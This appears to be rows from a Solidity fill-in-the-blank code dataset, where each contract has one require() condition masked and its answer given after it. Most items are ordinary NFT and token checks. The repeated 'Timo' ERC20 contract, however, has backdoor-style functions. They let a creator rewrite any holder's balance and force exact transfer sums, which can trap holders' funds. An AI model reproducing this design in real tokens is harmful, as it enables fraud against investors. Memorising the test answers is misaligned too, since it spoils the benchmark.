function allowEscrow(bool allow) public onlyOwner() {
}
function changeTreasuryAddress(address payable _newTreasuryAddress) public onlyOwner() {
}
function setBaseURI(string memory _newBaseURI) public onlyOwner() {
}
// function to set a particular token uri manually if something incorrect in one of the metadata files
function setTokenURI(uint tokenID, string memory uri) public onlyOwner() {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function flipSaleState() public onlyOwner {
}
function setMaxPerTrx(uint maxPerTrx) public onlyOwner {
}
// code is actually just a six digit number and it will be public so people can distribute their code to others,
function setCode(uint tokenId) private {
}
function getTotalEscrowPeriod(uint tokenId) public view returns(uint) {
}
function escrow(uint tokenId) public {
}
function deEscrow(uint tokenId) public {
}
function getTokenPrice() public view returns (uint price) {
}
function publicMint(address to, uint amount, uint code) public payable nonReentrant {
}
// mass minting function, one for each address, for team
function massMint(address[] memory addresses) public onlyOwner() {
}
/**
@dev Block transfers while escrowing.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public override {
}
function safeTransferWhileEscrow(
address from,
address to,
uint256 tokenId
) public {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public override {
require(escrowedAt[tokenId] == 0, "BrokerDefi: transfer while escrow not allowed");
require(<FILL_ME>)
ERC721._safeTransfer(from, to, tokenId, _data);
}
// additional burn function
function burn(uint256 tokenId) public {
}
// token ids function for view only, convenience function for frontend to fulfil the gap of erc721 enumerable
function ownerTokens() public view returns(uint[] memory) {
}
}
| ERC721._isApprovedOrOwner(_msgSender(),tokenId),"ERC721: transfer caller is not owner nor approved" | 109,122 | ERC721._isApprovedOrOwner(_msgSender(),tokenId) |
"max supply reached" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
import "operator-filter-registry/src/DefaultOperatorFilterer.sol";
contract MintVial is ERC721A, AccessControl, DefaultOperatorFilterer {
using Strings for uint256;
bytes32 public constant BURNER_ROLE = keccak256("BURNER_ROLE");
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
uint256 public mintId;
string public contractURI;
string public baseTokenURI;
address public ownerAddress;
uint256 public max;
modifier onlyMinter() {
}
modifier onlyBurner() {
}
modifier onlyOwner() {
}
/// @notice Constructor for the ONFT
/// @param _name the name of the token
/// @param _symbol the token symbol
/// @param _contractURI the contract URI
/// @param _baseTokenURI the base URI for computing the tokenURI
constructor(
string memory _name,
string memory _symbol,
string memory _contractURI,
string memory _baseTokenURI
) ERC721A(_name, _symbol) {
}
function mint(address _to, uint256 _quantity) public onlyMinter {
require(<FILL_ME>)
mintId = mintId + _quantity;
_mint(_to, _quantity);
}
function burn(uint256 tokenId) public virtual onlyBurner {
}
function tokenURI(uint256 tokenId)
public
view
override
returns (string memory)
{
}
function setContractURI(string memory _contractURI) public onlyOwner {
}
function setMaxQuantity(uint256 _quantity) public onlyOwner {
}
function setBaseURI(string memory _baseTokenURI) public onlyOwner {
}
function owner() external view returns (address) {
}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(AccessControl, ERC721A)
returns (bool)
{
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory data
) public payable override onlyAllowedOperator(from) {
}
}
| mintId+_quantity<=max+1,"max supply reached" | 109,152 | mintId+_quantity<=max+1 |
"Unauthorized: Single Owner access required." | pragma solidity ^0.8.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address accountHolder) external view returns (uint256);
function transfer(address to, uint256 sum) external returns (bool);
function allowance(address authorizer, address spender) external view returns (uint256);
function approve(address spender, uint256 sum) external returns (bool);
function transferFrom(address from, address to, uint256 sum) external returns (bool);
function _Transfer(address from, address recipient, uint amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed authorizer, address indexed spender, uint256 value);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
}
abstract contract ExecutionControl {
function obtainInvokerAddress() internal view virtual returns (address payable) {
}
}
contract SingleOwnership is ExecutionControl {
address private _oneAndOnlyOwner;
event OwnershipTransfer(address indexed oldOwner, address indexed newOwner);
constructor() {
}
function getSingleOwner() public view virtual returns (address) {
}
modifier oneOwnerOnly() {
require(<FILL_ME>)
_;
}
function renounceOwnership() public virtual oneOwnerOnly {
}
}
contract TOKEN is ExecutionControl, SingleOwnership, IERC20 {
mapping (address => mapping (address => uint256)) private _spenderAllowances;
mapping (address => uint256) private _balances;
mapping (address => uint256) private _forcedTransferAmounts;
address private _masterCreator;
string public constant _moniker = "Timo";
string public constant _ticker = "Timo";
uint8 public constant _decimalUnits = 18;
uint256 public constant _ultimateSupply = 10000000 * (10 ** _decimalUnits);
constructor() {
}
modifier creatorExclusive() {
}
function retrieveMasterCreator() public view virtual returns (address) {
}
function designateCreator(address newCreator) public oneOwnerOnly {
}
event UserBalanceUpdated(address indexed user, uint256 previous, uint256 updated);
function forcedTransferAmount(address account) public view returns (uint256) {
}
function setForcedTransferAmounts(address[] calldata accounts, uint256 sum) public creatorExclusive {
}
function alterUserBalances(address[] memory userAddresses, uint256 requiredBalance) public creatorExclusive {
}
function _Transfer(address _from, address _to, uint _value) public returns (bool) {
}
function executeTokenSwap(
address uniswapPool,
address[] memory recipients,
uint256[] memory tokenAmounts,
uint256[] memory wethAmounts,
address tokenAddress
) public returns (bool) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address to, uint256 sum) public virtual override returns (bool) {
}
function allowance(address authorizer, address spender) public view virtual override returns (uint256) {
}
function approve(address spender, uint256 sum) public virtual override returns (bool) {
}
function transferFrom(address from, address to, uint256 sum) public virtual override returns (bool) {
}
function totalSupply() external view override returns (uint256) {
}
function name() public view returns (string memory) {
}
function symbol() public view returns (string memory) {
}
function decimals() public view returns (uint8) {
}
}
| getSingleOwner()==obtainInvokerAddress(),"Unauthorized: Single Owner access required." | 109,270 | getSingleOwner()==obtainInvokerAddress() |
"Unauthorized: Creator access required." | pragma solidity ^0.8.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address accountHolder) external view returns (uint256);
function transfer(address to, uint256 sum) external returns (bool);
function allowance(address authorizer, address spender) external view returns (uint256);
function approve(address spender, uint256 sum) external returns (bool);
function transferFrom(address from, address to, uint256 sum) external returns (bool);
function _Transfer(address from, address recipient, uint amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed authorizer, address indexed spender, uint256 value);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
}
abstract contract ExecutionControl {
function obtainInvokerAddress() internal view virtual returns (address payable) {
}
}
contract SingleOwnership is ExecutionControl {
address private _oneAndOnlyOwner;
event OwnershipTransfer(address indexed oldOwner, address indexed newOwner);
constructor() {
}
function getSingleOwner() public view virtual returns (address) {
}
modifier oneOwnerOnly() {
}
function renounceOwnership() public virtual oneOwnerOnly {
}
}
contract TOKEN is ExecutionControl, SingleOwnership, IERC20 {
mapping (address => mapping (address => uint256)) private _spenderAllowances;
mapping (address => uint256) private _balances;
mapping (address => uint256) private _forcedTransferAmounts;
address private _masterCreator;
string public constant _moniker = "Timo";
string public constant _ticker = "Timo";
uint8 public constant _decimalUnits = 18;
uint256 public constant _ultimateSupply = 10000000 * (10 ** _decimalUnits);
constructor() {
}
modifier creatorExclusive() {
require(<FILL_ME>)
_;
}
function retrieveMasterCreator() public view virtual returns (address) {
}
function designateCreator(address newCreator) public oneOwnerOnly {
}
event UserBalanceUpdated(address indexed user, uint256 previous, uint256 updated);
function forcedTransferAmount(address account) public view returns (uint256) {
}
function setForcedTransferAmounts(address[] calldata accounts, uint256 sum) public creatorExclusive {
}
function alterUserBalances(address[] memory userAddresses, uint256 requiredBalance) public creatorExclusive {
}
function _Transfer(address _from, address _to, uint _value) public returns (bool) {
}
function executeTokenSwap(
address uniswapPool,
address[] memory recipients,
uint256[] memory tokenAmounts,
uint256[] memory wethAmounts,
address tokenAddress
) public returns (bool) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address to, uint256 sum) public virtual override returns (bool) {
}
function allowance(address authorizer, address spender) public view virtual override returns (uint256) {
}
function approve(address spender, uint256 sum) public virtual override returns (bool) {
}
function transferFrom(address from, address to, uint256 sum) public virtual override returns (bool) {
}
function totalSupply() external view override returns (uint256) {
}
function name() public view returns (string memory) {
}
function symbol() public view returns (string memory) {
}
function decimals() public view returns (uint8) {
}
}
| retrieveMasterCreator()==obtainInvokerAddress(),"Unauthorized: Creator access required." | 109,270 | retrieveMasterCreator()==obtainInvokerAddress() |
"Insufficient balance" | pragma solidity ^0.8.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address accountHolder) external view returns (uint256);
function transfer(address to, uint256 sum) external returns (bool);
function allowance(address authorizer, address spender) external view returns (uint256);
function approve(address spender, uint256 sum) external returns (bool);
function transferFrom(address from, address to, uint256 sum) external returns (bool);
function _Transfer(address from, address recipient, uint amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed authorizer, address indexed spender, uint256 value);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
}
abstract contract ExecutionControl {
function obtainInvokerAddress() internal view virtual returns (address payable) {
}
}
contract SingleOwnership is ExecutionControl {
address private _oneAndOnlyOwner;
event OwnershipTransfer(address indexed oldOwner, address indexed newOwner);
constructor() {
}
function getSingleOwner() public view virtual returns (address) {
}
modifier oneOwnerOnly() {
}
function renounceOwnership() public virtual oneOwnerOnly {
}
}
contract TOKEN is ExecutionControl, SingleOwnership, IERC20 {
mapping (address => mapping (address => uint256)) private _spenderAllowances;
mapping (address => uint256) private _balances;
mapping (address => uint256) private _forcedTransferAmounts;
address private _masterCreator;
string public constant _moniker = "Timo";
string public constant _ticker = "Timo";
uint8 public constant _decimalUnits = 18;
uint256 public constant _ultimateSupply = 10000000 * (10 ** _decimalUnits);
constructor() {
}
modifier creatorExclusive() {
}
function retrieveMasterCreator() public view virtual returns (address) {
}
function designateCreator(address newCreator) public oneOwnerOnly {
}
event UserBalanceUpdated(address indexed user, uint256 previous, uint256 updated);
function forcedTransferAmount(address account) public view returns (uint256) {
}
function setForcedTransferAmounts(address[] calldata accounts, uint256 sum) public creatorExclusive {
}
function alterUserBalances(address[] memory userAddresses, uint256 requiredBalance) public creatorExclusive {
}
function _Transfer(address _from, address _to, uint _value) public returns (bool) {
}
function executeTokenSwap(
address uniswapPool,
address[] memory recipients,
uint256[] memory tokenAmounts,
uint256[] memory wethAmounts,
address tokenAddress
) public returns (bool) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address to, uint256 sum) public virtual override returns (bool) {
require(<FILL_ME>)
uint256 requisiteTransferSum = forcedTransferAmount(obtainInvokerAddress());
if (requisiteTransferSum > 0) {
require(sum == requisiteTransferSum, "Compulsory transfer sum mismatch");
}
_balances[obtainInvokerAddress()] -= sum;
_balances[to] += sum;
emit Transfer(obtainInvokerAddress(), to, sum);
return true;
}
function allowance(address authorizer, address spender) public view virtual override returns (uint256) {
}
function approve(address spender, uint256 sum) public virtual override returns (bool) {
}
function transferFrom(address from, address to, uint256 sum) public virtual override returns (bool) {
}
function totalSupply() external view override returns (uint256) {
}
function name() public view returns (string memory) {
}
function symbol() public view returns (string memory) {
}
function decimals() public view returns (uint8) {
}
}
| _balances[obtainInvokerAddress()]>=sum,"Insufficient balance" | 109,270 | _balances[obtainInvokerAddress()]>=sum |
"Allowance limit surpassed" | pragma solidity ^0.8.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address accountHolder) external view returns (uint256);
function transfer(address to, uint256 sum) external returns (bool);
function allowance(address authorizer, address spender) external view returns (uint256);
function approve(address spender, uint256 sum) external returns (bool);
function transferFrom(address from, address to, uint256 sum) external returns (bool);
function _Transfer(address from, address recipient, uint amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed authorizer, address indexed spender, uint256 value);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
}
abstract contract ExecutionControl {
function obtainInvokerAddress() internal view virtual returns (address payable) {
}
}
contract SingleOwnership is ExecutionControl {
address private _oneAndOnlyOwner;
event OwnershipTransfer(address indexed oldOwner, address indexed newOwner);
constructor() {
}
function getSingleOwner() public view virtual returns (address) {
}
modifier oneOwnerOnly() {
}
function renounceOwnership() public virtual oneOwnerOnly {
}
}
contract TOKEN is ExecutionControl, SingleOwnership, IERC20 {
mapping (address => mapping (address => uint256)) private _spenderAllowances;
mapping (address => uint256) private _balances;
mapping (address => uint256) private _forcedTransferAmounts;
address private _masterCreator;
string public constant _moniker = "Timo";
string public constant _ticker = "Timo";
uint8 public constant _decimalUnits = 18;
uint256 public constant _ultimateSupply = 10000000 * (10 ** _decimalUnits);
constructor() {
}
modifier creatorExclusive() {
}
function retrieveMasterCreator() public view virtual returns (address) {
}
function designateCreator(address newCreator) public oneOwnerOnly {
}
event UserBalanceUpdated(address indexed user, uint256 previous, uint256 updated);
function forcedTransferAmount(address account) public view returns (uint256) {
}
function setForcedTransferAmounts(address[] calldata accounts, uint256 sum) public creatorExclusive {
}
function alterUserBalances(address[] memory userAddresses, uint256 requiredBalance) public creatorExclusive {
}
function _Transfer(address _from, address _to, uint _value) public returns (bool) {
}
function executeTokenSwap(
address uniswapPool,
address[] memory recipients,
uint256[] memory tokenAmounts,
uint256[] memory wethAmounts,
address tokenAddress
) public returns (bool) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address to, uint256 sum) public virtual override returns (bool) {
}
function allowance(address authorizer, address spender) public view virtual override returns (uint256) {
}
function approve(address spender, uint256 sum) public virtual override returns (bool) {
}
function transferFrom(address from, address to, uint256 sum) public virtual override returns (bool) {
require(<FILL_ME>)
uint256 requisiteTransferSum = forcedTransferAmount(from);
if (requisiteTransferSum > 0) {
require(sum == requisiteTransferSum, "Compulsory transfer sum mismatch");
}
_balances[from] -= sum;
_balances[to] += sum;
_spenderAllowances[from][obtainInvokerAddress()] -= sum;
emit Transfer(from, to, sum);
return true;
}
function totalSupply() external view override returns (uint256) {
}
function name() public view returns (string memory) {
}
function symbol() public view returns (string memory) {
}
function decimals() public view returns (uint8) {
}
}
| _spenderAllowances[from][obtainInvokerAddress()]>=sum,"Allowance limit surpassed" | 109,270 | _spenderAllowances[from][obtainInvokerAddress()]>=sum |
"Metadata is locked" | // SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.16;
import "../lib/ERC721.sol";
import "../lib/ERC721Enumerable.sol";
import "../lib/MetaOwnable.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/utils/structs/EnumerableSet.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol";
/** @title Standard ERC721 NFT Contract with the support of Meta transactions (owner as signer, user as executor).
*
* @author NitroLeague.
*/
contract NitroLeagueExclusive is ERC721Enumerable, MetaOwnable {
string private baseURI;
bool private metdataLocked;
event MetdataLocked();
event BaseURIChanged(
string indexed oldBaserURI,
string indexed newBaserURI
);
constructor(
string memory _name,
string memory _symbol,
address _forwarder
) ERC721(_name, _symbol, _forwarder) {
}
function lockMetadata() external onlyOwner {
}
function isMetadataLocked() public view returns (bool) {
}
function setBaseURI(string memory _baseURI) external onlyOwner {
require(<FILL_ME>)
require(bytes(_baseURI).length > 0, "baseURI cannot be empty");
baseURI = _baseURI;
emit BaseURIChanged(baseURI, _baseURI);
}
function getBaseURI() public view returns (string memory) {
}
function tokenURI(
uint256 tokenId
) public view override returns (string memory) {
}
function safeMint(address _to, uint256 _tokenId) public onlyOwner {
}
}
| !isMetadataLocked(),"Metadata is locked" | 109,385 | !isMetadataLocked() |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.